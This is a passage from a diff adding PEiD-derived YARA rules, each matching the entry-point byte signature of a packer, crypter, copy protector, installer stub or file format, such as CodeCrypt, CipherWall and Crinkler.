+        $a = {89 25 ?? ?? ?? ?? 33 ED 55 8B EC E8 ?? ?? ?? ?? 8B D0 81 E2 FF 00 00 00 89 15 ?? ?? ?? ?? 8B D0 C1 EA 08 81 E2 FF 00 00 00 A3 ?? ?? ?? ?? D1 E0 0F 93 C3 33 C0 8A C3 A3 ?? ?? ?? ?? 68 FF 00 00 00 E8 ?? ?? ?? ?? 6A 00 E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? BB ?? ?? ?? ?? C7 03 44 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00361_CALS_Raster_graphics_format_
+{
+    meta:
+        description = "[CALS Raster graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {73 72 63 64 6F 63 69 64 3A 20}
+    condition:
+        $a
+}
+
+rule PEiD_00362_Can2Exe_v0_01_
+{
+    meta:
+        description = "[Can2Exe v0.01]"
+        ep_only = "true"
+    strings:
+        $a = {0E 1F 0E 07 E8 ?? ?? E8 ?? ?? 3A C6 73}
+    condition:
+        $a
+}
+
+rule PEiD_00363_CAN2EXE_v0_01_
+{
+    meta:
+        description = "[CAN2EXE v0.01]"
+        ep_only = "true"
+    strings:
+        $a = {26 8E 06 ?? ?? B9 ?? ?? 33 C0 8B F8 F2 AE E3 ?? 26 38 05 75 ?? EB ?? E9}
+    condition:
+        $a
+}
+
+rule PEiD_00364_CauseWay_DOS_Extender_v3_25_
+{
+    meta:
+        description = "[CauseWay DOS Extender v3.25]"
+        ep_only = "true"
+    strings:
+        $a = {FA 16 1F 26 ?? ?? ?? 83 ?? ?? 8E D0 FB 06 16 07 BE ?? ?? 8B FE B9 ?? ?? F3 A4 07}
+    condition:
+        $a
+}
+
+rule PEiD_00365_CC_v2_61_Beta_
+{
+    meta:
+        description = "[CC v2.61 Beta]"
+        ep_only = "true"
+    strings:
+        $a = {BA ?? ?? B4 30 CD 21 3C 02 73 ?? 33 C0 06 50 CB}
+    condition:
+        $a
+}
+
+rule PEiD_00366_CD_Cops_II_
+{
+    meta:
+        description = "[CD-Cops II]"
+        ep_only = "true"
+    strings:
+        $a = {53 60 BD ?? ?? ?? ?? 8D 45 ?? 8D 5D ?? E8 ?? ?? ?? ?? 8D}
+    condition:
+        $a
+}
+
+rule PEiD_00367_CDS_SS_1_0_beta1____CyberDoom_
+{
+    meta:
+        description = "[CDS SS 1.0 beta1 -> CyberDoom]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED CA 47 40 00 FF 74 24 20 E8 D3 03 00 00 0B C0 0F 84 13 03 00 00 89 85 B8 4E 40 00 66 8C D8 A8 04 74 0C C7 85 8C 4E 40 00 01 00 00 00 EB 12 64 A1 30 00 00 00 0F B6 40 02 0A C0 0F 85 E8 02 00 00 8D 85 F6 4C 40 00 50 FF B5 B8 4E 40 00 E8 FC 03 00 00 0B C0 0F 84 CE 02 00 00 E8 1E 03 00 00 89 85 90 4E 40 00 8D 85 03 4D 40 00 50 FF B5 B8 4E 40 00 E8 D7 03 00 00 0B C0 0F 84 A9 02 00 00 E8 F9 02 00 00 89 85 94 4E 40 00 8D 85 12 4D 40 00 50}
+    condition:
+        $a
+}
+
+rule PEiD_00368_CDS_SS_v1_0_Beta_1____CyberDoom___Team_X_
+{
+    meta:
+        description = "[CDS SS v1.0 Beta 1 -> CyberDoom / Team-X]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED CA 47 40 00 FF 74 24 20 E8 D3 03 00 00 0B C0 0F 84 13 03 00 00 89 85 B8 4E 40 00 66 8C D8 A8 04 74 0C C7 85 8C 4E 40 00 01 00 00 00 EB 12 64 A1 30 00 00 00 0F B6 40 02 0A C0 0F 85 E8 02 00 00 8D 85 F6 4C 40 00 50 FF B5 B8 4E 40 00 E8 FC 03 00 00 0B C0 0F 84 CE 02 00 00 E8 1E 03 00 00 89 85 90 4E 40 00 8D 85 03 4D 40 00 50 FF B5 B8}
+    condition:
+        $a
+}
+rule PEiD_00369_Celsius_Crypt_2_1____Z3r0_
+{
+    meta:
+        description = "[Celsius Crypt 2.1 -> Z3r0]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 84 92 44 00 E8 C8 FE FF FF 90 8D B4 26 00 00 00 00 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 84 92 44 00 E8 A8 FE FF FF 90 8D B4 26 00 00 00 00 55 8B 0D C4 92 44 00 89 E5 5D FF E1 8D 74 26 00 55 8B 0D AC 92 44 00 89 E5 5D FF E1 90 90 90 90 55 89 E5 5D E9 77 C2 00 00 90 90 90 90 90 90 90 55 89 E5 83 EC 28 8B 45 10 89 04 24 E8 3F 14 01 00 48 89 45 FC 8B 45 0C 48 89 45 F4 8D 45 F4 89 44 24 04 8D 45 FC 89 04 24 E8 12 A3 03 00 8B 00 89 45 F8 8B 45 FC 89 45 F0 C6 45 EF 01 C7 45 E8 00 00 00 00 8B 45 E8 3B 45 F8 73 39 80 7D EF 00 74 33 8B 45 F0 89 44 24 04 8B 45 10 89 04 24 E8 1C 1A 01 00 89 C1 8B 45 08 8B 55 E8 01 C2 0F B6 01 3A 02 0F 94 C0 88 45 EF 8D 45 F0 FF 08 8D 45 E8 FF 00 EB BF 83 7D F0 00 74 34 80 7D EF 00 74 2E 8B 45 F0 89 44 24 04 8B 45 10 89 04 24 E8 DD 19 01 00 89 C1 8B 45 08 8B 55 F8 01 C2 0F B6 01 3A 02 0F 94 C0 88 45 EF 8D 45 F0 FF 08 EB C6 C7 44 24 04 00 00 00 00 8B 45 10 89 04 24 E8 AE 19 01 00 89 C1 8B 45 08 8B 55 F8 01 C2 0F B6 01 3A 02 7F 0C 0F B6 45 EF 83 E0 01 88 45 E7 EB 04 C6 45 E7 00 0F B6 45 E7 88 45 EF 0F B6 45 EF C9 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00370_Celsius_Crypt_2_1____Z3r0_
+{
+    meta:
+        description = "[Celsius Crypt 2.1 -> Z3r0]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 83 EC 28 8B 45 10 89 04 24 E8 3F 14 01 00 48 89 45 FC 8B 45 0C 48 89 45 F4 8D 45 F4 89 44 24 04 8D 45 FC 89 04 24 E8 12 A3 03 00 8B 00 89 45 F8 8B 45 FC 89 45 F0 C6 45 EF 01 C7 45 E8 00 00 00 00 8B 45 E8 3B 45 F8 73 39 80 7D EF 00 74 33 8B 45 F0 89 44 24 04 8B 45 10 89 04 24 E8 1C 1A 01 00 89 C1 8B 45 08 8B 55 E8 01 C2 0F B6 01 3A 02 0F 94 C0 88 45 EF 8D 45 F0 FF 08 8D 45 E8 FF 00 EB BF 83 7D F0 00 74 34 80 7D EF 00 74 2E 8B 45 F0 89 44 24 04 8B 45 10 89 04 24 E8 DD 19 01 00 89 C1 8B 45 08 8B 55 F8 01 C2 0F B6 01 3A 02 0F 94 C0 88 45 EF 8D 45 F0 FF 08 EB C6 C7 44 24 04 00 00 00 00 8B 45 10 89 04 24 E8 AE 19 01 00 89 C1 8B 45 08 8B 55 F8 01 C2 0F B6 01 3A 02 7F 0C 0F B6 45 EF 83 E0 01 88 45 E7 EB 04 C6 45 E7 00 0F B6 45 E7 88 45 EF 0F B6 45 EF C9 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00371_CERBERUS_v2_0_
+{
+    meta:
+        description = "[CERBERUS v2.0]"
+        ep_only = "true"
+    strings:
+        $a = {9C 2B ED 8C ?? ?? 8C ?? ?? FA E4 ?? 88 ?? ?? 16 07 BF ?? ?? 8E DD 9B F5 B9 ?? ?? FC F3 A5}
+    condition:
+        $a
+}
+
+rule PEiD_00372_CExe_v1_0a_
+{
+    meta:
+        description = "[CExe v1.0a]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 0C 02 ?? ?? 56 BE 04 01 ?? ?? 8D 85 F8 FE FF FF 56 50 6A ?? FF 15 54 10 40 ?? 8A 8D F8 FE FF FF 33 D2 84 C9 8D 85 F8 FE FF FF 74 16}
+    condition:
+        $a
+}
+
+rule PEiD_00373_CGM_Graphics_format_
+{
+    meta:
+        description = "[CGM Graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {00 2A 08 48 69 4A 61 61 6B 20 32}
+    condition:
+        $a
+}
+
+rule PEiD_00374_CHECKPRG__c__1992_
+{
+    meta:
+        description = "[CHECKPRG (c) 1992]"
+        ep_only = "true"
+    strings:
+        $a = {33 C0 BE ?? ?? 8B D8 B9 ?? ?? BF ?? ?? BA ?? ?? 47 4A 74}
+    condition:
+        $a
+}
+
+rule PEiD_00375_ChinaProtect____dummy___Sign_by_fly_
+{
+    meta:
+        description = "[ChinaProtect -> dummy ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {C3 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 56 8B ?? ?? ?? 6A 40 68 00 10 00 00 8D ?? ?? 50 6A 00 E8 ?? ?? ?? ?? 89 30 83 C0 04 5E C3 8B 44 ?? ?? 56 8D ?? ?? 68 00 40 00 00 FF 36 56 E8 ?? ?? ?? ?? 68 00 80 00 00 6A 00 56 E8 ?? ?? ?? ?? 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_00376_ChSfx__small__v1_1_
+{
+    meta:
+        description = "[ChSfx (small) v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {BA ?? ?? E8 ?? ?? 8B EC 83 EC ?? 8C C8 BB ?? ?? B1 ?? D3 EB 03 C3 8E D8 05 ?? ?? 89}
+    condition:
+        $a
+}
+
+rule PEiD_00377_CICompress_1_0_
+{
+    meta:
+        description = "[CICompress 1.0]"
+        ep_only = "false"
+    strings:
+        $a = {6A 04 68 00 10 00 00 FF 35 9C 14 40 00 6A 00 FF 15 38 10 40 00 A3 FC 10 40 00 97 BE 00 20 40 00 E8 71 00 00 00 3B 05 9C 14 40 00 75 61 6A 00 6A 20 6A 02 6A 00 6A 03 68 00 00 00 C0 68 94 10 40 00 FF 15 2C 10 40 00 A3 F8 10 40 00 6A 00 68 F4 10 40 00 FF 35}
+    condition:
+        $a
+}
+
+rule PEiD_00378_CICompress_v1_0_
+{
+    meta:
+        description = "[CICompress v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {6A 04 68 00 10 00 00 FF 35 9C 14 40 00 6A 00 FF 15 38 10 40 00 A3 FC 10 40 00 97 BE 00 20 40 00 E8 71 00 00 00 3B 05 9C 14 40 00 75 61 6A 00 6A 20 6A 02 6A 00 6A 03 68 00 00 00 C0 68 94 10 40 00 FF 15 2C 10 40 00 A3 F8 10 40 00 6A 00 68 F4 10 40 00 FF 35 9C 14 40 00 FF 35 FC 10 40 00 FF 35 F8 10 40 00 FF 15 34 10 40 00 FF 35 F8 10 40 00 FF 15 30 10 40 00 68 00 40 00 00 FF 35 9C 14 40 00 FF 35 FC 10 40 00 FF 15 3C 10 40 00 6A 00 FF 15 28 10 40 00 60 33 DB 33 C9 E8 7F 00 00 00 73 0A B1 08 E8 82 00 00 00 AA EB EF E8 6E 00 00 00 73 14 B1 04 E8 71 00 00 00 3C 00 74 EB 56 8B F7 2B F0 A4 5E EB D4 33 ED E8 51 00 00 00 72 10 B1 02 E8 54 00 00 00 3C 00 74 3B 8B E8 C1 C5 08 B1 08 E8 44 00 00 00 0B C5 50 33 ED E8 2E 00 00 00 72 0C B1 02 E8 31 00 00 00 8B E8 C1 C5 08}
+    condition:
+        $a
+}
+
+rule PEiD_00379_CipherWall_Self_Extrator_Decryptor__Console__1_5_
+{
+    meta:
+        description = "[CipherWall Self-Extrator/Decryptor (Console) 1.5]"
+        ep_only = "false"
+    strings:
+        $a = {90 61 BE 00 10 42 00 8D BE 00 00 FE FF C7 87 C0 20 02 00 0B 6E 5B 9B 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4}
+    condition:
+        $a
+}
+
+rule PEiD_00380_CipherWall_Self_Extrator_Decryptor__Console__v1_5_
+{
+    meta:
+        description = "[CipherWall Self-Extrator/Decryptor (Console) v1.5]"
+        ep_only = "true"
+    strings:
+        $a = {90 61 BE 00 10 42 00 8D BE 00 00 FE FF C7 87 C0 20 02 00 0B 6E 5B 9B 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 83 C1 02 81 FD 00 F3 FF FF 83 D1 01 8D 14 2F 83 FD FC 76 0F 8A 02 42 88 07 47 49 75 F7 E9 63 FF FF FF 90 8B 02 83 C2 04 89 07 83 C7 04 83 E9 04 77 F1 01 CF E9 4C FF FF FF 5E 89 F7 B9 12 10 00 00 8A 07 47 2C E8 3C 01 77 F7 80 3F 06 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4}
+    condition:
+        $a
+}
+
+rule PEiD_00381_CipherWall_Self_Extrator_Decryptor__GUI__1_5_
+{
+    meta:
+        description = "[CipherWall Self-Extrator/Decryptor (GUI) 1.5]"
+        ep_only = "false"
+    strings:
+        $a = {90 61 BE 00 10 42 00 8D BE 00 00 FE FF C7 87 C0 20 02 00 F9 89 C7 6A 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4}
+    condition:
+        $a
+}
+
+rule PEiD_00382_CipherWall_Self_Extrator_Decryptor__GUI__v1_5_
+{
+    meta:
+        description = "[CipherWall Self-Extrator/Decryptor (GUI) v1.5]"
+        ep_only = "true"
+    strings:
+        $a = {90 61 BE 00 10 42 00 8D BE 00 00 FE FF C7 87 C0 20 02 00 F9 89 C7 6A 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 83 C1 02 81 FD 00 F3 FF FF 83 D1 01 8D 14 2F 83 FD FC 76 0F 8A 02 42 88 07 47 49 75 F7 E9 63 FF FF FF 90 8B 02 83 C2 04 89 07 83 C7 04 83 E9 04 77 F1 01 CF E9 4C FF FF FF 5E 89 F7 B9 52 10 00 00 8A 07 47 2C E8 3C 01 77 F7 80 3F 0E 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4}
+    condition:
+        $a
+}
+
+rule PEiD_00383_Code_Virtualizer_V1_3_1_0____Oreans_Technologies___Sign_by_fly_
+{
+    meta:
+        description = "[Code Virtualizer V1.3.1.0 -> Oreans Technologies ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {60 9C FC E8 00 00 00 00 5F 81 EF ?? ?? ?? ?? 8B C7 81 C7 ?? ?? ?? ?? 3B 47 2C 75 02 EB 2E 89 47 2C B9 A7 00 00 00 EB 05 01 44 8F ?? 49 0B C9 75 F7 83 7F 40 00 74 15 8B 77 40 03 F0 EB 09 8B 1E 03 D8 01 03 83 C6 04 83 3E 00 75 F2 8B 74 24 24 8B DE 03 F0 B9 01 00 00 00 33 C0 F0 0F B1 4F 30 75 F7 AC}
+    condition:
+        $a
+}
+
+rule PEiD_00384_Code_Virtualizer_V1_3_1_0____Oreans_Technologies_
+{
+    meta:
+        description = "[Code Virtualizer V1.3.1.0 -> Oreans Technologies]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C FC E8 00 00 00 00 5F 81 EF ?? ?? ?? ?? 8B C7 81 C7 ?? ?? ?? ?? 3B 47 2C 75 02 EB 2E 89 47 2C B9 A7 00 00 00 EB 05 01 44 8F ?? 49 0B C9 75 F7 83 7F 40 00 74 15 8B 77 40 03 F0 EB 09 8B 1E 03 D8 01 03 83 C6 04 83 3E 00 75 F2 8B 74 24 24 8B DE 03 F0 B9}
+    condition:
+        $a
+}
+
+rule PEiD_00385_Code_Lock_vx_x_
+{
+    meta:
+        description = "[Code-Lock vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {43 4F 44 45 2D 4C 4F 43 4B 2E 4F 43 58 00}
+    condition:
+        $a
+}
+
+rule PEiD_00386_CodeCrypt_v0_14b_
+{
+    meta:
+        description = "[CodeCrypt v0.14b]"
+        ep_only = "true"
+    strings:
+        $a = {E9 C5 02 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F}
+    condition:
+        $a
+}
+
+rule PEiD_00387_CodeCrypt_v0_15b_
+{
+    meta:
+        description = "[CodeCrypt v0.15b]"
+        ep_only = "true"
+    strings:
+        $a = {E9 31 03 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F}
+    condition:
+        $a
+}
+rule PEiD_00388_CodeCrypt_v0_164_
+{
+    meta:
+        description = "[CodeCrypt v0.164]"
+        ep_only = "true"
+    strings:
+        $a = {E9 2E 03 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F EB 03 FF 1D 34}
+    condition:
+        $a
+}
+
+rule PEiD_00389_CodeCrypt_v0_16b___v0_163b_
+{
+    meta:
+        description = "[CodeCrypt v0.16b - v0.163b]"
+        ep_only = "true"
+    strings:
+        $a = {E9 2E 03 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F}
+    condition:
+        $a
+}
+
+rule PEiD_00390_codeCrypter_0_31____Tibbar_
+{
+    meta:
+        description = "[codeCrypter 0.31 -> Tibbar]"
+        ep_only = "true"
+    strings:
+        $a = {50 58 53 5B 90 BB ?? ?? ?? 00 FF E3 90 CC CC CC 55 8B EC 5D C3 CC CC CC CC CC CC CC CC CC CC CC}
+    condition:
+        $a
+}
+
+rule PEiD_00391_codeCrypter_0_31_
+{
+    meta:
+        description = "[codeCrypter 0.31]"
+        ep_only = "true"
+    strings:
+        $a = {50 58 53 5B 90 BB ?? ?? 40 00 FF E3 90 CC CC CC 55 8B EC 5D C3}
+    condition:
+        $a
+}
+
+rule PEiD_00392_codeCrypter_0_31_
+{
+    meta:
+        description = "[codeCrypter 0.31]"
+        ep_only = "false"
+    strings:
+        $a = {50 58 53 5B 90 BB ?? ?? 40 00 FF E3 90 CC CC CC 55 8B EC 5D C3 CC CC CC CC CC CC CC CC CC CC CC}
+    condition:
+        $a
+}
+
+rule PEiD_00393_Com4mail_v1_0_
+{
+    meta:
+        description = "[Com4mail v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {42 45 47 49 4E 3D 3D 3D 74 66 75 64 23 6F 66 5F 43 6F 6D 34 4D 61 69 6C 5F 66 69 6C 65 23 0D 0A}
+    condition:
+        $a
+}
+
+rule PEiD_00394_COMPACK_v4_5__2__
+{
+    meta:
+        description = "[COMPACK v4.5 (2)]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? E8 ?? ?? 5D 83 ?? ?? 55 50 53 51 52 0E 07 0E 1F 8B CE}
+    condition:
+        $a
+}
+
+rule PEiD_00395_COMPACK_v5_1_
+{
+    meta:
+        description = "[COMPACK v5.1]"
+        ep_only = "true"
+    strings:
+        $a = {BD ?? ?? 50 06 8C CB 03 DD 8C D2 4B 8E DB BE ?? ?? BF ?? ?? 8E C2 B9 ?? ?? F3 A5 4A 4D 75 ?? 8B F7 8E DA 0E 07 06 16}
+    condition:
+        $a
+}
+
+rule PEiD_00396_COP_v1_0__c__1988_
+{
+    meta:
+        description = "[COP v1.0 (c) 1988]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? BE ?? ?? B9 ?? ?? AC 32 ?? ?? ?? AA E2 ?? 8B ?? ?? ?? EB ?? 90}
+    condition:
+        $a
+}
+
+rule PEiD_00397_Copy_Protector_v2_0_
+{
+    meta:
+        description = "[Copy Protector v2.0]"
+        ep_only = "true"
+    strings:
+        $a = {2E A2 ?? ?? 53 51 52 1E 06 B4 ?? 1E 0E 1F BA ?? ?? CD 21 1F}
+    condition:
+        $a
+}
+
+rule PEiD_00398_CopyControl_v3_03_
+{
+    meta:
+        description = "[CopyControl v3.03]"
+        ep_only = "true"
+    strings:
+        $a = {CC 90 90 EB 0B 01 50 51 52 53 54 61 33 61 2D 35 CA D1 07 52 D1 A1 3C}
+    condition:
+        $a
+}
+
+rule PEiD_00399_CopyMinder____Microcosm_Ltd___Sign_by_fly_
+{
+    meta:
+        description = "[CopyMinder -> Microcosm.Ltd ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {83 25 ?? ?? ?? ?? EF 6A 00 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? CC FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25}
+    condition:
+        $a
+}
+
+rule PEiD_00400_CopyMinder____Microcosm_Ltd_
+{
+    meta:
+        description = "[CopyMinder -> Microcosm.Ltd]"
+        ep_only = "true"
+    strings:
+        $a = {83 25 ?? ?? ?? ?? EF 6A 00 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? CC FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25}
+    condition:
+        $a
+}
+
+rule PEiD_00401_CorelDraw_8_CDR_Graphics_format_
+{
+    meta:
+        description = "[CorelDraw 8 CDR Graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {52 49 46 46 ?? ?? ?? ?? 43 44 52 38}
+    condition:
+        $a
+}
+
+rule PEiD_00402_CorelDraw_CMX_Graphics_format_
+{
+    meta:
+        description = "[CorelDraw CMX Graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {52 49 46 46 ?? ?? ?? ?? 43 4D 58 31}
+    condition:
+        $a
+}
+
+rule PEiD_00403_CPAV_
+{
+    meta:
+        description = "[CPAV]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 4D 5A B1 01 93 01 00 00 02}
+    condition:
+        $a
+}
+
+rule PEiD_00404_Cracked_by_AutoHack__1__
+{
+    meta:
+        description = "[Cracked by AutoHack (1)]"
+        ep_only = "true"
+    strings:
+        $a = {FA 50 51 57 56 1E 06 2E 80 3E ?? ?? ?? 74 ?? 8E 06 ?? ?? 2B FF FC}
+    condition:
+        $a
+}
+
+rule PEiD_00405_Cracked_by_Autohack__2__
+{
+    meta:
+        description = "[Cracked by Autohack (2)]"
+        ep_only = "true"
+    strings:
+        $a = {0E 1F B4 09 BA ?? ?? CD 21 FA 8E 06 ?? ?? BE ?? ?? 8B 0E ?? ?? 83 F9}
+    condition:
+        $a
+}
+
+rule PEiD_00406_CrackStop_v1_01__c__Stefan_Esser_1997_
+{
+    meta:
+        description = "[CrackStop v1.01 (c) Stefan Esser 1997]"
+        ep_only = "true"
+    strings:
+        $a = {B4 48 BB FF FF B9 EB 27 8B EC CD 21 FA FC}
+    condition:
+        $a
+}
+
+rule PEiD_00407_CreateInstall_2003_3_5_
+{
+    meta:
+        description = "[CreateInstall 2003.3.5]"
+        ep_only = "false"
+    strings:
+        $a = {81 EC 0C 04 00 00 53 56 57 55 68 60 50 40 00 6A 01 6A 00 FF 15 D8 80 40 00 8B F0 FF 15 D4 80 40 00 3D B7 00 00 00 75 0F 56 FF 15 B8 80 40 00 6A 02 FF 15 A4 80 40 00 33 DB E8 F2 FE FF FF 68 02 7F 00 00 89 1D 94 74 40 00 53 89 1D 98 74 40 00 FF 15 E4 80 40}
+    condition:
+        $a
+}
+rule PEiD_00408_CreateInstall_Stub_vx_x_
+{
+    meta:
+        description = "[CreateInstall Stub vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 20 02 00 00 53 56 57 6A 00 FF 15 18 61 40 00 68 00 70 40 00 89 45 08 FF 15 14 61 40 00 85 C0 74 27 6A 00 A1 00 20 40 00 50 FF 15 3C 61 40 00 8B F0 6A 06 56 FF 15 38 61 40 00 6A 03 56 FF 15 38 61 40 00 E9 36 03 00 00 68 02 7F 00 00 33 F6 56}
+    condition:
+        $a
+}
+
+rule PEiD_00409_CreateInstall_Stub_vx_x_
+{
+    meta:
+        description = "[CreateInstall Stub vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 20 02 00 00 53 56 57 6A 00 FF 15 18 61 40 00 68 00 70 40 00 89 45 08 FF 15 14 61 40 00 85 C0 74 27 6A 00 A1 00 20 40 00 50 FF 15 3C 61 40 00 8B F0 6A 06 56 FF 15 38 61 40 00 6A 03 56 FF 15 38 61 40 00 E9 36 03 00 00 68 02 7F 00 00 33 F6 56 BF 00 30 00 00 FF 15 20 61 40 00 50 FF 15 2C 61 40 00 6A 04 57 68 00 FF 01 00 56 FF 15 CC 60 40 00 6A 04 A3 CC 35 40 00 57 68 00 0F 01 00 56 FF 15 CC 60 40 00 68 00 01 00 00 BE B0 3F 40 00 56 A3 C4 30 40 00 FF 75 08 FF 15 10 61 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00410_CreateInstall_v2003_3_5_
+{
+    meta:
+        description = "[CreateInstall v2003.3.5]"
+        ep_only = "false"
+    strings:
+        $a = {81 EC 0C 04 00 00 53 56 57 55 68 60 50 40 00 6A 01 6A 00 FF 15 D8 80 40 00 8B F0 FF 15 D4 80 40 00 3D B7 00 00 00 75 0F 56 FF 15 B8 80 40 00 6A 02 FF 15 A4 80 40 00 33 DB E8 F2 FE FF FF 68 02 7F 00 00 89 1D 94 74 40 00 53 89 1D 98 74 40 00 FF 15 E4 80 40 00 50 FF 15 E0 80 40 00 8B 0D 00 50 40 00 E8 68 FF FF FF B9 40 0D 03 00 89 44 24 14 E8 5A FF FF FF 68 00 02 00 00 8B 2D D0 80 40 00 89 44 24 1C 8D 44 24 20 50 53 FF D5 8D 4C 24 1C 53 68 00 00 00 80 8B 3D CC 80 40 00 6A 03 53 6A 03 68 00 00 00 80 51 FF D7 8B F0 53 8D 44 24 14 8B 0D 00 50 40 00 8B 54 24 18 50 51 52 56 FF 15 C8 80 40 00 85 C0 0F 84 40 02 00 00 8B 15 00 50 40 00 3B 54 24 10 0F 85 30 02 00 00 6A FF A1 04 50 40 00 2B D0 8B 4C 24 18 03 C8 E8 9F FE FF FF 3B 05 10 50 40 00 0F 85 10 02 00 00 56 FF}
+    condition:
+        $a
+}
+
+rule PEiD_00411_Creative_Audio_file_
+{
+    meta:
+        description = "[Creative Audio file]"
+        ep_only = "false"
+    strings:
+        $a = {43 72 65 61 74 69 76 65 20 56 6F 69 63 65 20 46 69 6C 65}
+    condition:
+        $a
+}
+
+rule PEiD_00412_Crinkler_V0_1_V0_2____Rune_L_H_Stubbe_and_Aske_Simon_Christensen_
+{
+    meta:
+        description = "[Crinkler V0.1-V0.2 -> Rune L.H.Stubbe and Aske Simon Christensen]"
+        ep_only = "true"
+    strings:
+        $a = {B9 ?? ?? ?? ?? 01 C0 68 ?? ?? ?? ?? 6A 00 58 50 6A 00 5F 48 5D BB 03 00 00 00 BE ?? ?? ?? ?? E9}
+    condition:
+        $a
+}
+
+rule PEiD_00413_Crinkler_V0_3_V0_4____Rune_L_H_Stubbe_and_Aske_Simon_Christensen_
+{
+    meta:
+        description = "[Crinkler V0.3-V0.4 -> Rune L.H.Stubbe and Aske Simon Christensen]"
+        ep_only = "true"
+    strings:
+        $a = {B8 00 00 42 00 31 DB 43 EB 58}
+    condition:
+        $a
+}
+
+rule PEiD_00414_Crunch_4____Bit_Arts_
+{
+    meta:
+        description = "[Crunch 4 -> Bit-Arts]"
+        ep_only = "true"
+    strings:
+        $a = {EB 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 E8 00 00 00 00}
